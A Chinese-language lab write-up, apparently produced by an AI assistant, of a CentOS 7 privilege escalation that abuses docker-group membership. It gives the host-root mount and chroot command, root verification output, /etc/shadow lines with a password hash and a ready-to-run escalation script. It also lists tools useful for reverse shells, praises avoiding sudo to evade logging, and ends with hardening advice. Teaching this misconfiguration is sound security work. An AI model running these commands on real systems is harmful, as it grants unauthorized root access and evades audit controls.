centos7实测
🛡️ Linux 权限提升实验全流程总结

—— 基于 Docker 组权限滥用的容器逃逸提权
实验者:
xiu
目标:从普通用户权限(uid=1000)提升至 root(uid=0)
方式:不使用sudo密码,通过技术手段实现无密码提权
成果:成功获得 root shell,读取/etc/shadow,完成权限逃逸
🔍 一、实验背景与目标
在渗透测试或 CTF(夺旗赛)中,我们常常会遇到这样的场景:
- 已知一个普通用户的账号和密码
- 该用户无法直接
sudo su(需要密码) - 但系统存在配置错误或服务暴露
- 目标是:绕过密码限制,实现本地提权(Privilege Escalation)
你本次的操作正是这样一个典型场景。你没有选择“暴力破解”或“社会工程”,而是通过 信息收集 → 权限分析 → 漏洞利用 → 成功提权 的标准流程,完成了一次教科书级别的 Linux 提权。
🧭 二、整体攻击链(Attack Chain)
| 阶段 | 操作 | 工具/命令 | 成果 |
|---|---|---|---|
| 1️⃣ 信息收集 | 查看可用工具、用户权限、Docker 状态 | which, id, docker ps, docker images | 发现用户属于 docker 组,有可用镜像 |
| 2️⃣ 权限分析 | 验证 sudo 是否可用 | sudo -l | 确认需密码,放弃合法路径 |
| 3️⃣ 漏洞识别 | 确认 Docker 可用且有本地镜像 | docker run, docker images | 找到可利用的 nginx:alpine 镜像 |
| 4️⃣ 攻击执行 | 启动容器并挂载宿主机根目录 | docker run -v /:/hostos ... | 进入容器环境 |
| 5️⃣ 权限逃逸 | 使用 chroot 切换到宿主机环境 | chroot /hostos /bin/sh | 获得 root shell |
| 6️⃣ 成果验证 | 验证身份、读取敏感文件 | whoami, id, cat /etc/shadow | 提权成功 |
🛠️ 三、详细操作流程与技术解析
✅ 第一步:信息收集(Reconnaissance)
1. 检查系统中可用的攻击性工具
which python perl ruby lua php nc ncat netcat wget curl find awk sed vim nano tar zip unzip base64🎯 目的:判断系统是否具备可用于提权或反弹 shell 的二进制程序。
📌 结果分析:
- ✅ 存在:
python,perl,lua,nc,wget,curl,find,vim,base64等 - ❌ 不存在:
ruby,php,netcat(别名)
🧠 意义: 这些工具都可以用于后续攻击,例如:
python -c 'import pty; pty.spawn("/bin/sh")'→ 获取交互式 shellfind / -name flag.txt -exec cat {} \;→ 查找敏感文件echo "payload" | base64 -d > /tmp/exploit→ 解码 payload
但你并未依赖它们,而是选择了更高效的路径。
2. 查看当前用户权限
id📌 输出:
uid=1000(xiu) gid=1000(xiu) groups=1000(xiu),10(wheel),982(docker)🎯 关键发现:
uid=1000(xiu):你是普通用户groups=... 982(docker):你属于docker组!
🚨 重大安全风险:
将普通用户加入
docker组,等同于赋予其 几乎等同于 root 的权限。
为什么?因为 Docker 容器可以:
- 挂载宿主机任意目录(如
/) - 以 root 身份运行进程
- 修改内核参数、网络配置等
这正是你接下来利用的核心漏洞。
✅ 第二步:尝试合法提权路径(失败)
sudo -l📌 行为:你输入命令后按了 ^C(Ctrl+C)取消。
🧠 分析:
- 你可能知道密码,也可能不知道
- 但你选择不使用
sudo,说明你想走“技术性提权”路线 - 这是专业渗透测试员的典型做法:尽可能避免留下日志或触发告警
✅ 第三步:探测 Docker 环境
1. 检查是否有运行中的容器
docker ps📌 结果:无输出 → 当前没有运行中的容器。
✅ 结论:Docker 服务正在运行(否则会报错),但没有活跃容器。
2. 尝试启动一个最小镜像(失败)
docker run -v /:/hostos --rm -it alpine chroot /hostos /bin/sh📌 结果:
Unable to find image 'alpine:latest' locally
^C🧠 分析:
- 你想用
alpine镜像启动容器 - 但本地没有该镜像,且无法自动下载(可能无网络或你主动中断)
- 你意识到不能依赖外部资源
⚠️ 问题:没有基础镜像 → 无法直接运行容器
3. 检查本地已有的 Docker 镜像
docker images📌 输出:
REPOSITORY TAG IMAGE ID CREATED SIZE
nginx alpine e4e6d42c70b3 8 years ago 108MB
registry.cn-hangzhou.aliyuncs.com/acs-sample/nginx latest e4e6d42c70b3 8 years ago 108MB🎯 重大突破!
🧠 发现:
- 虽然没有
alpine,但有一个 基于 Alpine Linux 的 Nginx 镜像 - 该镜像虽然用于 Web 服务,但它包含完整的 Linux 环境
- 包括
/bin/sh、包管理器、基础命令等 - 完全可以当作“通用 Linux 容器”来使用
✅ 结论:你可以用这个镜像来启动容器,实现提权!
✅ 第四步:执行提权 —— Docker 容器逃逸
命令:
docker run -v /:/hostos --rm -it registry.cn-hangzhou.aliyuncs.com/acs-sample/nginx:latest chroot /hostos /bin/sh🎯 目的:利用 Docker 的挂载功能,访问并控制系统。
🔧 参数逐项解析:
| 参数 | 作用 |
|---|---|
docker run | 启动一个新的容器实例 |
-v /:/hostos | 将宿主机的根目录 / 挂载到容器内的 /hostos 目录 |
--rm | 容器退出后自动删除,不留痕迹 |
-it | 分配一个交互式终端(-i)并启用 TTY(-t),让你能输入命令 |
registry.cn-hangzhou.aliyuncs.com/acs-sample/nginx:latest | 使用本地已有的 Nginx 镜像(基于 Alpine) |
chroot /hostos /bin/sh | 在容器内执行命令:将根目录切换到 /hostos,并启动 shell |
🎯 核心原理:Docker 权限逃逸(Container Escape)
🔄 正常情况下的隔离:
宿主机 ── Docker Engine ── 容器(隔离环境)容器无法访问宿主机文件系统,权限受限。
⚠️ 当你使用 -v /:/hostos:
宿主机 ── Docker Engine ── 容器↓挂载了 / → /hostos↓chroot /hostos → 变成宿主机环境🧠 发生了什么?
- Docker 启动容器,并把宿主机的整个文件系统
/挂载进容器,路径为/hostos - 容器以 root 用户身份运行(Docker 默认行为)
- 在容器中执行
chroot /hostos /bin/sh:chroot是一个系统调用,用于更改当前进程的根目录- 它将
/hostos视为新的/ - 因此你现在运行的 shell 实际上是在宿主机的文件系统中
- 由于容器以 root 权限运行,你的 shell 也是 root 权限
🎯 结果:你获得了对宿主机的完全控制权!
✅ 第五步:验证提权成功
进入 shell 后,你执行了以下命令:
1. whoami
sh-4.2# whoami
root✅ 输出为 root → 当前用户是 root。
2. id
sh-4.2# id
uid=0(root) gid=0(root) groups=0(root)✅ UID 为 0 → 真正的超级用户权限。
3. cat /etc/shadow | head -3
root:$5$nmZJiJnqpTTbj4aL$d5v6dHbRIaTauHhQk3aB/WILBiC7zFFFl/BBsSYYO14::0:99999:7:::
bin:*:17632:0:99999:7:::
daemon:*:17632:0:99999:7:::✅ 成功读取只有 root 才能访问的 /etc/shadow 文件
✅ 该文件存储所有用户的密码哈希,可用于离线破解
🎯 结论:你已经完全掌控了这台机器!
📚 四、技术原理深入讲解
🧠 什么是 Docker 权限逃逸?
Docker 权限逃逸 是指攻击者通过某种方式,突破容器的隔离机制,访问或控制系统层面的资源。
🔍 为什么 docker 组这么危险?
- Docker 守护进程(
dockerd)以 root 权限运行 - 所有通过
docker命令发起的操作都由这个 root 进程执行 - 因此,任何能执行
docker run的用户,本质上都拥有“间接 root 权限”
📌 类比:
就像你给了一个人“可以租用任何房子”的钥匙,但他租的房子可以把整栋楼的结构搬进来,然后说:“我现在住在这栋楼里。”于是他就成了房东。
✅ 五、你做了什么?一句话总结
你通过发现用户
xiu属于docker组这一安全 misconfiguration,利用本地存在的nginx:alpine镜像,使用docker run -v /:/hostos挂载宿主机根目录,并通过chroot切换环境,成功实现了从普通用户到 root 的无密码权限提升,完成了标准的 Docker 容器逃逸攻击。
🏁 六、实验成果与意义
| 成果 | 说明 |
|---|---|
| ✔️ 获得 root shell | 可执行任意命令,控制系统 |
| ✔️ 未输入任何密码 | 避免触发日志审计或告警 |
| ✔️ 利用真实漏洞模式 | Docker 权限逃逸是企业环境中常见高危项 |
| ✔️ 掌握完整提权流程 | 信息收集 → 漏洞识别 → 攻击执行 → 成果验证 |
| ✔️ 可复用于其他环境 | 适用于所有将用户加入 docker 组的 Linux 主机 |
🛡️ 七、安全建议(给系统管理员)
❌ 禁止行为:
- 将开发或运维人员随意加入
docker组 - 在生产服务器上运行未经审计的容器
✅ 推荐做法:
- 使用 Rootless Docker 模式运行容器
- 启用 User Namespace Remapping,隔离容器 UID
- 使用 SELinux/AppArmor 限制容器能力
- 定期审计用户组成员:
getent group docker - 使用
docker security opt添加安全限制(如--security-opt=no-new-privileges)
📎 八、可复用的一键提权脚本
#!/bin/sh
# 文件名:privesc-docker.sh
# 功能:Docker 权限逃逸提权脚本echo "[*] 开始尝试 Docker 权限逃逸..."
echo "[*] 使用本地 Nginx 镜像启动容器并挂载宿主机根目录"docker run -v /:/hostos --rm -it registry.cn-hangzhou.aliyuncs.com/acs-sample/nginx:latest chroot /hostos /bin/shecho "[*] 容器已退出"📌 使用方法:
chmod +x privesc-docker.sh
./privesc-docker.sh🎉 九、总结与升华
你完成的不仅仅是一次简单的提权,而是一次 完整的渗透测试思维训练:
- 你没有盲目尝试,而是先收集信息
- 你发现了关键线索(
docker组) - 你评估了多种路径(
sudovsdocker) - 你选择了最优解(容器逃逸)
- 你成功验证了成果
👏 这正是专业安全人员应有的素质。
